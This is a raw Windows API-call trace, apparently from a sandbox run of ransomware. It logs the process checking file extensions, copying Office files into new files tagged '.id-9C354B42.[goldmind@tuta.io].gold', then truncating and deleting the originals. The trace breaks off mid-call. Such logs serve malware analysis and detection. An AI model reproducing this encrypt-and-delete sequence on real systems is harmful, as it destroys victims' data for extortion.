[0101.500] lstrlenW (lpString=".1cd") returned 4 [0101.500] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0101.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.500] lstrlenW (lpString=".jpg") returned 4 [0101.500] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0101.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.500] lstrlenW (lpString=".doc") returned 4 [0101.500] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0101.500] lstrlenW (lpString=".docx") returned 5 [0101.500] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0101.500] lstrlenW (lpString=".pdf") returned 4 [0101.500] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0101.500] lstrlenW (lpString=".xls") returned 4 [0101.500] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0101.500] lstrlenW (lpString=".xlsx") returned 5 [0101.500] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0101.501] lstrlenW (lpString=".ppt") returned 4 [0101.501] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0101.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.501] lstrlenW (lpString=".zip") returned 4 [0101.501] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0101.501] lstrlenW (lpString=".rar") returned 4 [0101.501] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0101.501] lstrlenW (lpString=".bz2") returned 4 [0101.501] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0101.501] lstrlenW (lpString=".7z") returned 3 [0101.501] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0101.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.501] lstrlenW (lpString=".dbf") returned 4 [0101.501] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0101.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.501] lstrlenW (lpString=".1cd") returned 4 [0101.501] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0101.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.501] lstrlenW (lpString=".jpg") returned 4 [0101.501] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0101.501] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0101.501] lstrlenW (lpString="GANTT.VSL") returned 9 [0101.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.559] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=320880) returned 1 [0101.559] CloseHandle (hObject=0x3b4) returned 1 [0101.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 0x20 [0101.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.740] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.740] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.740] GetLastError () returned 0x0 [0101.740] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x4e570, lpOverlapped=0x0) returned 1 [0101.802] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x4e580, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x4e580, lpOverlapped=0x0) returned 1 [0101.806] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.806] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0101.806] SetEndOfFile (hFile=0x3b8) returned 1 [0101.861] CloseHandle (hObject=0x3b8) returned 1 [0101.862] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.862] SetEndOfFile (hFile=0x3bc) returned 1 [0101.867] CloseHandle (hObject=0x3bc) returned 1 [0101.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 1 [0102.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.004] lstrlenW (lpString=".doc") returned 4 [0102.005] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString=".docx") returned 5 [0102.005] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0102.005] lstrlenW (lpString=".pdf") returned 4 [0102.005] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString=".xls") returned 4 [0102.005] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0102.005] lstrlenW (lpString=".xlsx") returned 5 [0102.005] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0102.005] lstrlenW (lpString=".ppt") returned 4 [0102.005] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.005] lstrlenW (lpString=".zip") returned 4 [0102.005] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0102.005] lstrlenW (lpString=".rar") returned 4 [0102.005] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString=".bz2") returned 4 [0102.005] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString=".7z") returned 3 [0102.005] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0102.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.005] lstrlenW (lpString=".dbf") returned 4 [0102.005] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.005] lstrlenW (lpString=".1cd") returned 4 [0102.005] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.005] lstrlenW (lpString=".jpg") returned 4 [0102.005] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.005] lstrlenW (lpString=".doc") returned 4 [0102.005] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString=".docx") returned 5 [0102.005] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0102.005] lstrlenW (lpString=".pdf") returned 4 [0102.005] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString=".xls") returned 4 [0102.005] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0102.005] lstrlenW (lpString=".xlsx") returned 5 [0102.005] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0102.005] lstrlenW (lpString=".ppt") returned 4 [0102.005] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0102.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.006] lstrlenW (lpString=".zip") returned 4 [0102.006] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0102.006] lstrlenW (lpString=".rar") returned 4 [0102.006] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0102.006] lstrlenW (lpString=".bz2") returned 4 [0102.006] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0102.006] lstrlenW (lpString=".7z") returned 3 [0102.006] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0102.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.006] lstrlenW (lpString=".dbf") returned 4 [0102.006] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0102.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.006] lstrlenW (lpString=".1cd") returned 4 [0102.006] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0102.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0102.006] lstrlenW (lpString=".jpg") returned 4 [0102.006] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0102.006] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0102.006] lstrlenW (lpString="GrooveIntlResource.dll") returned 22 [0102.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.055] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=8794976) returned 1 [0102.055] CloseHandle (hObject=0x364) returned 1 [0102.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll")) returned 0x20 [0102.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0102.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.142] lstrlenW (lpString=".doc") returned 4 [0102.142] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.142] lstrlenW (lpString=".docx") returned 5 [0102.142] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0102.142] lstrlenW (lpString=".pdf") returned 4 [0102.142] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.142] lstrlenW (lpString=".xls") returned 4 [0102.142] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.142] lstrlenW (lpString=".xlsx") returned 5 [0102.143] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0102.143] lstrlenW (lpString=".ppt") returned 4 [0102.143] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.143] lstrlenW (lpString=".zip") returned 4 [0102.143] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.143] lstrlenW (lpString=".rar") returned 4 [0102.143] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.143] lstrlenW (lpString=".bz2") returned 4 [0102.143] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.143] lstrlenW (lpString=".7z") returned 3 [0102.143] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.143] lstrlenW (lpString=".dbf") returned 4 [0102.143] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.143] lstrlenW (lpString=".1cd") returned 4 [0102.143] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.143] lstrlenW (lpString=".jpg") returned 4 [0102.143] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.143] lstrlenW (lpString=".doc") returned 4 [0102.143] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.143] lstrlenW (lpString=".docx") returned 5 [0102.143] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0102.143] lstrlenW (lpString=".pdf") returned 4 [0102.143] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.143] lstrlenW (lpString=".xls") returned 4 [0102.143] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.143] lstrlenW (lpString=".xlsx") returned 5 [0102.143] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0102.144] lstrlenW (lpString=".ppt") returned 4 [0102.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.144] lstrlenW (lpString=".zip") returned 4 [0102.144] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.144] lstrlenW (lpString=".rar") returned 4 [0102.144] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.144] lstrlenW (lpString=".bz2") returned 4 [0102.144] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.144] lstrlenW (lpString=".7z") returned 3 [0102.144] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.144] lstrlenW (lpString=".dbf") returned 4 [0102.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.144] lstrlenW (lpString=".1cd") returned 4 [0102.144] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0102.144] lstrlenW (lpString=".jpg") returned 4 [0102.144] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.144] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0102.144] lstrlenW (lpString="HVACDIFF.VRD") returned 12 [0102.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.155] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1919) returned 1 [0102.155] CloseHandle (hObject=0x3bc) returned 1 [0102.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 0x20 [0102.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.156] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.156] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.157] GetLastError () returned 0x0 [0102.157] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x77f, lpOverlapped=0x0) returned 1 [0102.169] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x780, lpOverlapped=0x0) returned 1 [0102.169] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.169] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.169] SetEndOfFile (hFile=0x198) returned 1 [0102.170] CloseHandle (hObject=0x198) returned 1 [0102.170] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.170] SetEndOfFile (hFile=0x3bc) returned 1 [0102.182] CloseHandle (hObject=0x3bc) returned 1 [0102.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 1 [0102.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.183] lstrlenW (lpString=".doc") returned 4 [0102.183] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0102.183] lstrlenW (lpString=".docx") returned 5 [0102.183] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1 [0102.183] lstrlenW (lpString=".pdf") returned 4 [0102.183] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0102.183] lstrlenW (lpString=".xls") returned 4 [0102.183] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0102.183] lstrlenW (lpString=".xlsx") returned 5 [0102.183] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1 [0102.183] lstrlenW (lpString=".ppt") returned 4 [0102.183] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0102.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.183] lstrlenW (lpString=".zip") returned 4 [0102.183] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0102.183] lstrlenW (lpString=".rar") returned 4 [0102.183] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0102.183] lstrlenW (lpString=".bz2") returned 4 [0102.183] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0102.183] lstrlenW (lpString=".7z") returned 3 [0102.183] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0102.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.183] lstrlenW (lpString=".dbf") returned 4 [0102.183] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0102.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.184] lstrlenW (lpString=".1cd") returned 4 [0102.184] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.184] lstrlenW (lpString=".jpg") returned 4 [0102.184] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.184] lstrlenW (lpString=".doc") returned 4 [0102.184] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString=".docx") returned 5 [0102.184] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1 [0102.184] lstrlenW (lpString=".pdf") returned 4 [0102.184] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString=".xls") returned 4 [0102.184] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0102.184] lstrlenW (lpString=".xlsx") returned 5 [0102.184] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1 [0102.184] lstrlenW (lpString=".ppt") returned 4 [0102.184] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.184] lstrlenW (lpString=".zip") returned 4 [0102.184] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0102.184] lstrlenW (lpString=".rar") returned 4 [0102.184] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString=".bz2") returned 4 [0102.184] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString=".7z") returned 3 [0102.184] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0102.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.184] lstrlenW (lpString=".dbf") returned 4 [0102.184] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.184] lstrlenW (lpString=".1cd") returned 4 [0102.184] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0102.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0102.184] lstrlenW (lpString=".jpg") returned 4 [0102.184] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0102.184] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0102.184] lstrlenW (lpString="HVACDUCT.VRD") returned 12 [0102.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.185] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1309) returned 1 [0102.185] CloseHandle (hObject=0x3bc) returned 1 [0102.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 0x20 [0102.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 